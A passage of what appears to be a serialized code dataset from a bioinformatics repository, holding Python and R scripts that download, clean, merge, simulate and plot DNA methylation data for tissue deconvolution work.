download \n\nfiles = []\nurl = \"ftp://ftp-trace.ncbi.nlm.nih.gov/sra/sra-instant/reads/ByStudy/sra/SRP/SRP051/SRP051242/SRR\"\n\ndef generate_urls(files, url, start, stop):\n\tfor i in range(start, stop):\n\t\tfiles.append(url + str(i) + \"/SRR\" + str(i) + \".sra\") \n\ngenerate_urls(files, url, 1720589, 1720752)\ngenerate_urls(files, url, 2533657, 2533675 )\n\nprint(len(files))\n\nwith open(\"files.txt\", 'w') as f:\n\tfor url in files: \n\t\tf.writelines(url)\n\t\tf.writelines('\\n')\nf.close()"},{"alpha_fraction":0.5197368264198303,"alphanum_fraction":0.5197368264198303,"avg_line_length":37,"blob_id":"5fab84e1b85431364e62b4a8d78771f6d695a46a","content_id":"98385c19c99c661a79672b331254a17b7caeb451","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":608,"license_type":"no_license","max_line_length":65,"num_lines":16,"path":"/reference_data/clean_chip_files.py","repo_name":"misingnoglic/Zaitlen_lab","src_encoding":"UTF-8","text":"from __future__ import print_function\nimport os\n\nfile_list = [line.strip() for line in open(\"file_list.txt\", 'r')]\nfor file in file_list:\n with open(file) as f:\n os.system(\"rm -f \" + file + \"_cleaned.txt\")\n with open(file + \"_cleaned.txt\", \"a\") as out:\n start_printing = False\n for line in f:\n if start_printing:\n print(line.rstrip(), file=out)\n if line.startswith(\"\\\"ID_REF\\\"\"):\n start_printing = True\n print(line.rstrip(), file=out)\n print(open(file + \"_cleaned.txt\",).read())\n"},{"alpha_fraction":0.6606335043907166,"alphanum_fraction":0.685520350933075,"avg_line_length":26.6875,"blob_id":"bdcfd1c5e60d92ac14a78b2d4af185057366acdb","content_id":"cedefb58c522a2ba4ca85c6300e3f1fd1c3fb8d3","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":442,"license_type":"no_license","max_line_length":71,"num_lines":16,"path":"/reference_data/jensen_et_al/jensen_plotting.py","repo_name":"misingnoglic/Zaitlen_lab","src_encoding":"UTF-8","text":"import pickle\nimport matplotlib.pyplot as plt\nimport numpy as np\n\npercent_meth = pickle.load(open(\"meth_dict.pkl\", \"rb\"))\n\nfor k, v in percent_meth.items():\n percent_meth[k] = [round(x, 4) for x in v]\n\n\nwidth = 1\nplt.bar(list(range(101)), percent_meth[\"control\"], width, color=\"blue\")\nplt.bar(list(range(101)), percent_meth[\"placenta\"], width, color=\"red\")\nplt.bar(list(range(101)), percent_meth[\"buffy\"], width, color=\"green\")\n\nplt.show()"},{"alpha_fraction":0.6724738478660583,"alphanum_fraction":0.684669017791748,"avg_line_length":22.875,"blob_id":"8abaee7ff256cad3bdcfe25913e05701b538c7d2","content_id":"fded7886ae930aaf3e82bc643827e80540c028e1","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":574,"license_type":"no_license","max_line_length":148,"num_lines":24,"path":"/wgbs_primary_analysis/annotate_peaks.py","repo_name":"misingnoglic/Zaitlen_lab","src_encoding":"UTF-8","text":"# submitting qsub jobs for homer annotating peaks processing \n# author <christa.caggiano@ucsf.edu> \n# 5 Oct 2017 \n\nimport argparse\nimport subprocess\nimport os\nimport linecache\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"input\", type=int)\nargs = parser.parse_args()\n\ninput = args.input \n\nf = open(\"fastq_files.txt\", \"r\")\n\nfile_list = []\nfor line in f: \n\tfile_list.append(line.rstrip())\n\n\nannotate_cmd = \"annotatePeaks.pl\" + \" \" + file_list[input] + \" \" + \"hg38 \" + \"-annStats \" + input + \"_stats.txt > \" file_list[input] + \"_homer.txt\"\nsubprocess.call(annotate_cmd, shell=True)\n\n"},{"alpha_fraction":0.6393939256668091,"alphanum_fraction":0.6651515364646912,"avg_line_length":25.399999618530273,"blob_id":"a3ae7844eff318d2a553e143fd24e60c3cd2bdf4","content_id":"6613706fe8929fb395b88d4f2b092feefbfff5dd","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":660,"license_type":"no_license","max_line_length":140,"num_lines":25,"path":"/wgbs_primary_analysis/merge_files.py","repo_name":"misingnoglic/Zaitlen_lab","src_encoding":"UTF-8","text":"# merge files \n\nimport argparse \nimport os \n\nparser = argparse.ArgumentParser()\n\nparser.add_argument(\"file_name\", type=int, help=\"fastq file for processing\")\nargs = parser.parse_args()\nfile_name = args.file_name\nindex = file_name - 1\n\nprefix = open(\"prefixes4.txt\", \"r\")\n\nfile_list = []\nfor line in prefix: \n file_list.append(line.rstrip())\nname = file_list[index]\n\nfile_1 = (name + \"/unsortedButMerged_ForBismark_file/methylation_extraction/\" + \"CpG_context_\" + name + \"_unsorted_merged.deduplicated.txt\")\nfile_2 = file_1.replace(\"L001\", \"L002\")\n\ncmd = \"cat \" + file_1 + \" \" + file_2 + \" | sort -S 80% > \" + file_1[0] + \"_merged_cpg.txt\"\n\nos.system(cmd)\n"},{"alpha_fraction":0.6472868323326111,"alphanum_fraction":0.6652131676673889,"avg_line_length":39.460784912109375,"blob_id":"3275c700f2b369c72d29377103b2dca39c3cd235","content_id":"eb26645dc4edfc70d7be31efc5276fa8f6fe36f5","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":4128,"license_type":"no_license","max_line_length":123,"num_lines":102,"path":"/simulation/decon_simulation_1.py","repo_name":"misingnoglic/Zaitlen_lab","src_encoding":"UTF-8","text":"# 29 aug 17\n# simple script to produce simulated observed and reference data\n# for given mixtures of origin tissue\n# author <christa.caggiano@ucsf.edu>\n\nimport numpy as np\nimport argparse\nimport random\n\n\ndef choose_random_cases(case):\n\n \"\"\"\n pseudo-randomly decide if a case should be selected\n :param case: number of cases (individual or cpgs)\n :return: a dict that contains a bool indicating whether or not case is selected\n \"\"\"\n case_dict = {i: random.choice([False, True]) for i in range(case)}\n return case_dict\n\n\ndef create_array(case_dict, mean, sd, max, rows, columns, distribution_type, scaling, column_stack):\n \"\"\"\n creates an array where if a particular case is selected, values are generated around a given distribution\n otherwise values are generated so that they are similar, with a small degree of noise\n :param case_dict: either cpg or individual dictionaries that indicate which cases should be selected\n :param mean:\n :param sd:\n :param max:\n :param size: number of values to be generated\n :param distribution_type:\n :param column_stack: bool value indicating how to appropriately arrange the data\n :return: an array containing values (methylation or cell type proportions) that have a particular distribution\n \"\"\"\n array_list = []\n if column_stack:\n \n for case in range(columns):\n if case_dict[case]:\n array_list.append(distribution_type(mean, sd, rows) * scaling)\n else:\n static_value = max / 100 * random.randint(10, 99)\n array_list.append([\n static_value + random.choice(np.arange(-(static_value / 10), static_value / 10, scaling / 10))\n for i in range(rows)])\n return np.column_stack(array_list)\n\n else:\n for case in range(columns):\n if case_dict[case] == 1:\n array_list.append(distribution_type(mean, sd, columns)*scaling)\n else:\n static_value = max / 100 * random.randint(10, 99)\n array_list.append([static_value + random.choice(np.arange(-(static_value/10), static_value/10, scaling/10))\n for i in range(columns)])\n return np.vstack(array_list)\n\nif __name__ == \"__main__\":\n\n # accepts user input\n # all choices must be greater than 1\n # default is 5 individuals, 3 tissues, and 3 CpGs\n # parser = argparse.ArgumentParser()\n # parser.add_argument(\"individuals\", help=\"number of individuals\", type=int, choices=range(2,100), default=5)\n # parser.add_argument(\"tissues\", help=\"number of tissues\", type=int, choices=range(2,100), default=3)\n # parser.add_argument(\"cpgs\", help=\"number of CpG sites\", type=int, choices=range(2,100), default=3)\n\n # args = parser.parse_args()\n\n # individual = args.individuals\n # cpg = args.cpgs\n # tissue = args.tissues\n\n individual = 3\n cpg = 4\n tissue = 3\n dmr_num = 0\n control_num = 0\n\n\n # # TODO proportion methylated\n mean = 7000\n maximum = 60000\n sd = 435\n\n cpg_dict = choose_random_cases(cpg) # select random cpgs to be differentially methylated\n individual_dict = choose_random_cases(individual) # select individuals to have non-normal levels of cfDNA\n\n\n # TODO randomly pick one tissue to be diff methylated\n # creates a reference array where methylation values are normally distributed if they are differentially methylated\n # and base these methylation values around the descriptive statistics of the aforementioned data set\n ref_array = create_array(cpg_dict, mean, sd, maximum, tissue, cpg, np.random.normal, 1, True)\n\n # create an array of cell proportions for each individual where proportions have a lognormal(skewed) distribution\n # indicating a non-normal (perhaps disease) state\n cell_proportion_array = create_array(individual_dict, 2, 0.2, 1, individual, tissue, np.random.lognormal, 0.1, False)\n print(ref_array)\n print(cell_proportion_array)\n observed_array = np.dot(cell_proportion_array, ref_array)\n print(observed_array)\n # TODO add in noise y = mr + e\n\n"}],"string":"[\n {\n \"alpha_fraction\": 0.6621160507202148,\n \"alphanum_fraction\": 0.6655290126800537,\n \"avg_line_length\": 29.894737243652344,\n \"blob_id\": \"85fbbbdb90c5d9cce81ff2e2cd6971dc2c905ebe\",\n \"content_id\": \"532a3462f59a2ed745e75ddde4dae905f11c6a65\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 586,\n \"license_type\": \"no_license\",\n \"max_line_length\": 109,\n \"num_lines\": 19,\n \"path\": \"/reference_data/merge_chip_files.py\",\n \"repo_name\": \"misingnoglic/Zaitlen_lab\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import pandas as pd\\nfrom functools import reduce\\n\\n\\nfile_list = [line.strip() for line in open(\\\"file_list.txt\\\", 'r')]\\nfile_list = [file + \\\"_cleaned.txt\\\" for file in file_list]\\n\\ndf_names = [\\\"df_\\\" + str(i) for i in range(len(file_list))]\\n\\nfor i in range(len(df_names)):\\n df_names[i] = pd.read_table(file_list[i])\\n\\nfor i in range(len(df_names)):\\n df_names[i] = df_names[i].round(decimals=4)\\n\\n\\ndf_final = reduce(lambda left, right: pd.merge(left, right, how='outer', on='!Sample_description'), df_names)\\ndf_final = df_final.fillna(value=-1)\\ndf_final.to_csv('test-merged.txt', sep=\\\"\\\\t\\\")\"\n },\n {\n \"alpha_fraction\": 0.608832836151123,\n \"alphanum_fraction\": 0.6230283975601196,\n \"avg_line_length\": 19.45161247253418,\n \"blob_id\": \"3e48934ad79f7f0b4fe648a546a6a019207e05cd\",\n \"content_id\": \"de46c50bb84a772fc0c2129e5b4c10942d6ab588\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 634,\n \"license_type\": \"no_license\",\n \"max_line_length\": 98,\n \"num_lines\": 31,\n \"path\": \"/reference_data/files_to_get.py\",\n \"repo_name\": \"misingnoglic/Zaitlen_lab\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"toget = open(\\\"files (1).txt\\\", \\\"r\\\")\\ncurrent = open(\\\"currentlyhave.txt\\\", \\\"r\\\")\\n\\n# get_list = []\\n# for i in current: \\n# \\tfor j in current: \\n# \\t\\tif i not in j: \\n# \\t\\t\\tget_list.append()\\n\\ntoget_list = []\\nfor line in toget:\\n\\tif \\\"fastq.gz\\\" in line:\\n\\t\\ttoget_list.append(line[59:])\\n\\nprint(toget_list)\\nprint(have_list)\\n\\ns1 = set(toget_list)\\ns2 = set(have_list)\\n\\ndiff = s1.difference(s2)\\n\\nfile_names = [] \\nfor item in diff: \\n\\tstring_to_write = \\\"https://www.encodeproject.org/files/\\\" + item[:11] + \\\"/\\\" +\\\"@@download/\\\" + item \\n\\tfile_names.append(string_to_write)\\n\\n\\nwith open(\\\"toget_list.txt\\\", 'w') as f:\\n for item in file_names:\\n \\tf.write(item)\\n\"\n },\n {\n \"alpha_fraction\": 0.7076411843299866,\n \"alphanum_fraction\": 0.7109634280204773,\n \"avg_line_length\": 29.200000762939453,\n \"blob_id\": \"f99fd2a678c51efa22e0b23d9139d089b3da537f\",\n \"content_id\": \"c8df4e76da2c38891a80ceb02232a40475b6f26a\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 301,\n \"license_type\": \"no_license\",\n \"max_line_length\": 83,\n \"num_lines\": 10,\n \"path\": \"/wgbs_primary_analysis/linecounts.py\",\n \"repo_name\": \"misingnoglic/Zaitlen_lab\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from __future__ import print_function\\nimport glob\\n\\nfiles = glob.glob(\\\"*_BC_*/unsortedButMerged_ForBismark_file/*_unsorted_merged.bam\\\")\\n\\n\\nwith open(\\\"linecounts.txt\\\", \\\"w\\\") as output_file:\\n\\tfor file in files:\\n\\t\\tnum_lines = sum(1 for line in open(file))\\n\\t\\tprint(file+\\\"\\\\t\\\"+str(num_lines), file=output_file)\"\n },\n {\n \"alpha_fraction\": 0.7290233969688416,\n \"alphanum_fraction\": 0.7524071335792542,\n \"avg_line_length\": 32,\n \"blob_id\": \"383f169b301600b891e97431abf4fa9ef73fce72\",\n \"content_id\": \"42670c83366d9b6d6680e6dd3df77317a0e922a0\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"R\",\n \"length_bytes\": 727,\n \"license_type\": \"no_license\",\n \"max_line_length\": 150,\n \"num_lines\": 22,\n \"path\": \"/reference_data/model_methylation_data_stats.R\",\n \"repo_name\": \"misingnoglic/Zaitlen_lab\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# gathering some statistics/information about methylation data arrays \\n# for python simulation \\n# 30 aug 17\\n# author <christa.caggiano@ucsf.edu> \\n\\nrm(list = ls())\\n\\n# data mentioned in refactor paper, accession number GSE35069, downloaded http manually \\nreal_data = read.table(\\\"/Users/christacaggiano/Documents/UCSF year 1/Zaitlen-rotation1/GSE35069_Matrix_signal_intensities.txt\\\", sep=\\\"\\\\t\\\", header=TRUE)\\n\\n# selects only methylation info \\nmethylation_data = real_data[ , c(FALSE,FALSE, TRUE) ]\\n\\n# takes the mean of all samples \\ncolumn_means = colMeans(methylation_data)\\n\\n# reports statistics about each mean \\nmean(column_means)\\nmedian(column_means)\\nsd(column_means)\\n\\nmax_value = max(apply(methylation_data, 2, function(x) max(x, na.rm = TRUE))) \\n\"\n },\n {\n \"alpha_fraction\": 0.6401151418685913,\n \"alphanum_fraction\": 0.6549903750419617,\n \"avg_line_length\": 62.121212005615234,\n \"blob_id\": \"018a4581bafcbe3acbc60aede4dbf8c8283c80e8\",\n \"content_id\": \"61dbcb83a4c6c31fdf386ceebc6f82810ede5290\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"R\",\n \"length_bytes\": 2084,\n \"license_type\": \"no_license\",\n \"max_line_length\": 224,\n \"num_lines\": 33,\n \"path\": \"/reference_data/annotate_cpgs.R\",\n \"repo_name\": \"misingnoglic/Zaitlen_lab\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# adds chromosome location to cpg probes \\n# selects tissues of interest in my reference set for ALS experiments \\n# jan 2018 \\n# author <christa.caggiano@ucsf.edu> \\n\\n######################### environment ###############################\\n\\nrm(list=ls())\\nsetwd(\\\"~/Documents/UCSF_year1/Zaitlen-rotation1/Zaitlen_lab/reference_data//\\\")\\n\\n######################### reference data ###############################\\n\\nillumina = read.table(\\\"HumanMethylationSites.txt\\\", header=TRUE, sep=\\\",\\\") # loads in illumina info with probe name and location\\nobs_cpg = read.table(\\\"cpgs.txt\\\", header=TRUE) # a list of cpgs observed in my ALS dataset \\nmerged_reference = read.table(\\\"reference_chip_data_merged.txt\\\", header=TRUE) # my compiled reference cpg probes \\n\\n######################### clean data ###############################\\n\\nillumina_obs = illumina[illumina$cg07881041 %in% obs_cpg$x, ] # remove any probes from illumina data not seen in ALS data\\nobs_cpg_annot = subset(merged_reference, merged_reference$X.Sample_geo_accession %in% illumina_obs$cg07881041) # some data not with probe # are in my matrix, so remove those too (mostly points not in a majority of sources) \\n\\n ######################### tissues of interest ###############################\\n\\ntissues_of_interest = read.table(\\\"tissues_of_interest.txt\\\")$V1 # list of geo accesion #s that are experiments on tissues of interest for ALS (muscle, brain, some blood) \\nobs_cpg_annot_tissues = subset(obs_cpg_annot, select=as.vector.factor(tissues_of_interest)) # subset my data to only these tissues \\n\\n######################### annotate and save ###############################\\n\\nobs_cpg_annot_tissues[\\\"IlmnID\\\"] = obs_cpg_annot$X.Sample_geo_accession # clean data, make the column names containing cpg probes identical for merging \\nillumina_obs[\\\"IlmnID\\\"] = illumina_obs$cg07881041 # clean data, make the column names containing cpg probes identical for merging \\n\\ncpgs_probe_loc_by_tissue = merge(obs_cpg_annot_tissues, illumina_obs, by=\\\"IlmnID\\\") # merge illumina data with matrix data by probe name\\nwrite.table(cpgs_probe_loc_by_tissue, \\\"cpgs_by_tissue.txt\\\") # save \\n\"\n },\n {\n \"alpha_fraction\": 0.6540880799293518,\n \"alphanum_fraction\": 0.6792452931404114,\n \"avg_line_length\": 14.899999618530273,\n \"blob_id\": \"ed5d157d739336c4c7b80949d488798ed892c959\",\n \"content_id\": \"ebe94773ee19151452343b54e028c6be035ac044\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"R\",\n \"length_bytes\": 159,\n \"license_type\": \"no_license\",\n \"max_line_length\": 38,\n \"num_lines\": 10,\n \"path\": \"/wgbs_primary_analysis/hierarch.R\",\n \"repo_name\": \"misingnoglic/Zaitlen_lab\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\no1 = read.table(\\\"merged_most_var.txt\\\")\\n\\no2 = dist(cov(o1))\\nclusters <- hclust(o2)\\n\\nsaveRDS(clusters, \\\"cluster.rdb\\\")\\n\\npng(\\\"clust.png\\\")\\nplot(clusters)\\ndev.off()\"\n },\n {\n \"alpha_fraction\": 0.5960755348205566,\n \"alphanum_fraction\": 0.628285825252533,\n \"avg_line_length\": 35.43243408203125,\n \"blob_id\": \"d73d3b19c5d3a8188ad9ea010123d86282a6a740\",\n \"content_id\": \"bbf9865336df495425d4b6c0cfeb410cc66cc4dc\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2701,\n \"license_type\": \"no_license\",\n \"max_line_length\": 189,\n \"num_lines\": 74,\n \"path\": \"/reference_data/find_pnas_sites.py\",\n \"repo_name\": \"misingnoglic/Zaitlen_lab\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# script that takes large methylatino data \\n# and extracts sites from PNAS paper Lehman-Werner et al (2015)\\n# dec 2017 \\n# author <christa.caggiano@ucsf.edu> \\n#@TODO make more robust to handle many file types\\n\\n# imports \\n\\n# import argparse # not used in this version \\n\\n\\ndef check_sites(chr, start, pnas_sites):\\n \\\"\\\"\\\" check if methylation file contains desired pnas site \\n @params: \\n chr: string of chr \\n start: int of site start \\n pnas_sites: dictionary of pnas_sites to be investigated \\n\\n \\\"\\\"\\\"\\n\\n # for each site in the pnas site dictionary check if our site \\n # is within the bounds. If so return true \\n for site in pnas_sites:\\n if site[1] <= start <= site[2] and chr == site[0]:\\n return True\\n\\n\\ndef append_to_file(percent_meth):\\n \\\"\\\"\\\" if a CpG site matches a PNAS site, append it to a file \\n @params: \\n percent_meth: CpG sites matching the PNAS sites \\n \\\"\\\"\\\"\\n f = open(\\\"pnas_sites.txt\\\", \\\"w\\\") # write to file called pnas_sites\\n\\n for item in percent_meth:\\n f.write(\\\"%s\\\\n\\\" % item) # write the percent for each item in our list \\n\\nif __name__ == \\\"__main__\\\":\\n\\n # # takes in command line arguments for input, output, and which file to use\\n # # @TODO make run/output optional\\n # parser = argparse.ArgumentParser()\\n # parser.add_argument(\\\"input\\\", help=\\\"path containing fastq files\\\")\\n # parser.add_argument(\\\"output\\\", help=\\\"path where outputdir should be created\\\")\\n # parser.add_argument(\\\"file_name\\\", type=int, help=\\\"fastq file for processing\\\")\\n # args = parser.parse_args()\\n #\\n\\n # @TODO incorporate this information \\n # what tissue type is this \\n # sample_type = \\\"cfDNA\\\"\\n # surrounding_sites = 6\\n\\n # files to check PNAS sites im \\n sample_list = ['results_2_trunc.txt']\\n\\n # pnas_sites to be checked * important hg18 sites \\n # @TODO take in a file so sites to b e checked can be flexible \\n pnas_sites = [(\\\"Chr18\\\", 74692045, 7469221), (\\\"Chr10\\\", 79936919, 79937042), (\\\"Chr10\\\", 3283832, 3283996), (\\\"Chr2\\\", 79347448, 79347588)]\\n\\n # for each file to check, read in one line at a time and check whether it is a PNAS site \\n percent_meth = []\\n for file in sample_list:\\n with open(file) as f:\\n \\n for line in f:\\n chr, start, meth, total = line.split()[0], int(line.split()[1]), int(line.split()[2]), int(line.split()[4]) # split line based on how I expect the file type to be formatted \\n \\n # if the site exist, append it to our dictionary \\n if check_sites(chr, start, pnas_sites):\\n percent_meth.append((file, chr, start, meth/total))\\n\\n # append all sites to a file \\n append_to_file(percent_meth)\\n\\n\\n\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.47559449076652527,\n \"alphanum_fraction\": 0.5193992257118225,\n \"avg_line_length\": 35.318180084228516,\n \"blob_id\": \"cf8458cba8f089fb55c635299003f0da42e0e8ba\",\n \"content_id\": \"8d51e33924aab33c4658e16d745046894cc9c17f\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 799,\n \"license_type\": \"no_license\",\n \"max_line_length\": 95,\n \"num_lines\": 22,\n \"path\": \"/wgbs_primary_analysis/percent_math2.py\",\n \"repo_name\": \"misingnoglic/Zaitlen_lab\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from __future__ import print_function, division\\nfrom collections import defaultdict\\nimport progressbar\\n\\nif __name__ == \\\"__main__\\\":\\n i = 0\\n d = defaultdict(lambda: [0,0])\\n with progressbar.ProgressBar(max_value=129311257+10000) as bar:\\n with open(\\\"results.txt\\\") as f:\\n for line in f:\\n line_split = line.split()\\n key = line_split[0]+\\\"|\\\"+line_split[1]\\n d[key][0]+=int(line_split[2])\\n d[key][1]+=int(line_split[3])\\n i += 1\\n if i % 10000 == 0:\\n bar.update(i)\\n\\nwith open(\\\"results_new.txt\\\", \\\"w\\\") as out:\\n for key, value in d.items():\\n chrom, site = key.split(\\\"|\\\")\\n print(f\\\"{chrom} {site} {value[0]} {value[1]} {value[0]/(value[0]+value[1])}\\\", file=out)\\n\"\n },\n {\n \"alpha_fraction\": 0.6569343209266663,\n \"alphanum_fraction\": 0.6715328693389893,\n \"avg_line_length\": 16.125,\n \"blob_id\": \"eb9e31885e643311c9fe3f09162cfe6671ec50e4\",\n \"content_id\": \"1859f6fcb3f8d233b4681e4dc44343cc68af7a34\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"R\",\n \"length_bytes\": 137,\n \"license_type\": \"no_license\",\n \"max_line_length\": 47,\n \"num_lines\": 8,\n \"path\": \"/wgbs_primary_analysis/champ_analysis.R\",\n \"repo_name\": \"misingnoglic/Zaitlen_lab\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# trying chAMP analysis pipeline \\n# christa caggiano \\n# dec 22\\n\\n# source(\\\"https://bioconductor.org/biocLite.R\\\")\\n# biocLite(\\\"ChAMP\\\")\\n\\nrm(list=ls())\\n\"\n },\n {\n \"alpha_fraction\": 0.6663185358047485,\n \"alphanum_fraction\": 0.6793733835220337,\n \"avg_line_length\": 48,\n \"blob_id\": \"c7448b19e9850036a94a30d7dde52764d43c0713\",\n \"content_id\": \"92d26651799bc061f0911050823094ee091f10ed\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"R\",\n \"length_bytes\": 1915,\n \"license_type\": \"no_license\",\n \"max_line_length\": 155,\n \"num_lines\": 39,\n \"path\": \"/reference_data/reference_data_summary.R\",\n \"repo_name\": \"misingnoglic/Zaitlen_lab\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# script to summarize results of reference methylation datasets\\n# dec 2017 \\n# author <christa.caggiano@ucsf.edu> \\n\\n############################# environment #############################################\\n\\nrm(list=ls()) # removes anything in memory \\n\\n# requires \\\"wgbs_secondary_data_key.txt\\\" and \\\"pnas_sites.txt\\\" to be in wd \\n# sets working directory \\n# setwd(\\\"~/Desktop/zaitlen_lab_desktop/\\\")\\n\\nlibrary(wesanderson) # library of wes anderson themed color palettes, for funsies\\nrequire(gplots) # updates to R base graphics \\n\\n############# analysis of metadata associated with methylation datasets ################\\n\\nwgbs = read.csv(\\\"wgbs_secondary_data_key.txt\\\", sep=\\\"\\\\t\\\")\\n\\nwgbs$Tissue=as.factor(wgbs$Tissue) # makes sure data loaded properly \\nwgbs_no_blood = subset(wgbs, wgbs$Tissue!=\\\" whole blood\\\") # removes whole blood, too many are included to be balanced\\n\\n# plots tissue types \\npal = wes_palette(\\\"Cavalcanti\\\", nrow(table(s_no_blood$Tissue)), type = \\\"continuous\\\") # makes a wes anderson color palette for barplot\\nop <- par(mar = c(10,4,4,2) + 0.1) # sets the graphing parameters so that there is extra whitespace around the graph, good for long x-labels on the barplot\\nbarplot(table(s_no_blood$Tissue), col=pal, las=2, cex.names=0.7, ylim=c(0, 30)) # plots (las rotates text)\\ntitle(main=\\\"compiled tissue types\\\", ylab=\\\"counts\\\", las=2) # adds title \\n\\n# creates a bar plot of gender breakdown in methylation datasets \\ntable(s_no_blood$Gender)\\npie(as.factor(s_no_blood$Gender), labels=c(\\\"Male\\\", \\\"Female\\\", \\\"unknown\\\"))\\n\\n############# analysis reference data percent methylated at select pnas sites ################\\npnas = read.table(\\\"pnas_sites.txt\\\", header=T) # read data \\n\\npnas = pnas[4:40] # subset to just % methylated columns \\npnas = na.omit(pnas) # omit rows with an NAs \\n\\nheatmap.2(cov(pnas), Rowv=NA, Colv=NA, col = greenred(256), trace=\\\"none\\\", scale=\\\"column\\\", dendrogram=\\\"none\\\") # make a heatmap of covariance between sites\\n\\n\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.6063492298126221,\n \"alphanum_fraction\": 0.6249433159828186,\n \"avg_line_length\": 30.5,\n \"blob_id\": \"5d8f83cc300a134b05810c70bb346488b98c428e\",\n \"content_id\": \"866b977ca32928dca152b009a67b03df55ca1e28\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2205,\n \"license_type\": \"no_license\",\n \"max_line_length\": 106,\n \"num_lines\": 70,\n \"path\": \"/simulation/decon_simulation_2.py\",\n \"repo_name\": \"misingnoglic/Zaitlen_lab\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# 8 nov 17\\n# updates to the previous simulation so it makes more sense\\n# integrated known information about tissues\\n# author <christa.caggiano@ucsf.edu>\\n\\nimport pandas as pd\\nimport random\\nimport numpy as np\\nfrom matplotlib import pyplot as plt\\nimport matplotlib.cm as cm\\n\\n\\ndef generate_proportion(tissue, individuals):\\n \\\"\\\"\\\"\\n generates the contribution of different tissues for\\n each individual\\n :param tissue: number of tissues to be simulated\\n :param individuals: number of individuals\\n :return: pandas dataframe of proportion of tissue, of shape individuals by tissue\\n \\\"\\\"\\\"\\n rows = []\\n for i in range(individuals):\\n vals = np.random.choice(10, tissue) # pick tissue number of values from 1 to 10 to be proportions\\n rows.append([x/sum(vals) for x in vals]) # proportions must sum to 1\\n return pd.DataFrame.from_records(rows)\\n\\n\\ndef generate_reference(tissue, sites):\\n \\\"\\\"\\\"\\n generate reference methylation values for each tissue\\n :param tissue: number of tissues\\n :param sites: number of CpG sites\\n :return: pandas dataframe of proportion of methylated for each site\\n \\\"\\\"\\\"\\n rows = []\\n for t in range(tissue): # generate for each tissue\\n vals = []\\n for s in range(sites):\\n vals.append(random.randint(0, 1))\\n rows.append(vals)\\n return pd.DataFrame(rows).round(decimals=2)\\n\\n\\nif __name__ == \\\"__main__\\\":\\n\\n individuals = 5\\n sites = 1000\\n tissues = 10\\n\\n p = generate_proportion(tissues, individuals).as_matrix()\\n r = generate_reference(tissues, sites).as_matrix()\\n o = np.around(np.dot(p, r), decimals=2)\\n\\n x, y = o.shape\\n for i in range(x):\\n for j in range(y):\\n if random.randrange(0, 1) == 1:\\n o[i][j] = random.choice([0, 1])\\n if random.randrange(0, 10) == 1:\\n o[i][j] = 0.5\\n if random.randrange(0, 10) == 1:\\n o[i][j] = 0.75\\n\\n colors = cm.rainbow(np.linspace(0, 1, len(o)))\\n for i, c in zip(range(len(o)), colors):\\n plt.scatter(range(len(o[i, :])), o[i, :], color=c, label=\\\"individual: \\\" + str(i))\\n plt.xlabel(\\\"CpG site\\\")\\n plt.ylabel(\\\"Proportion methylated\\\")\\n # plt.legend(loc=0)\\n plt.show()\\n\"\n },\n {\n \"alpha_fraction\": 0.5948905348777771,\n \"alphanum_fraction\": 0.6697080135345459,\n \"avg_line_length\": 25.14285659790039,\n \"blob_id\": \"fc391d092e248f8e8da7bd03613e40b709d43b89\",\n \"content_id\": \"d04e8f4e6ac37fa49f9a1f44ad2063115c5f684d\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 548,\n \"license_type\": \"no_license\",\n \"max_line_length\": 99,\n \"num_lines\": 21,\n \"path\": \"/reference_data/generate_urls.py\",\n \"repo_name\": \"misingnoglic/Zaitlen_lab\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# 22 Sept 17 \\n# author <christa.caggiano@ucsf.edu> \\n# generates file list for wget -i mass data download \\n\\nfiles = []\\nurl = \\\"ftp://ftp-trace.ncbi.nlm.nih.gov/sra/sra-instant/reads/ByStudy/sra/SRP/SRP051/SRP051242/SRR\\\"\\n\\ndef generate_urls(files, url, start, stop):\\n\\tfor i in range(start, stop):\\n\\t\\tfiles.append(url + str(i) + \\\"/SRR\\\" + str(i) + \\\".sra\\\") \\n\\ngenerate_urls(files, url, 1720589, 1720752)\\ngenerate_urls(files, url, 2533657, 2533675 )\\n\\nprint(len(files))\\n\\nwith 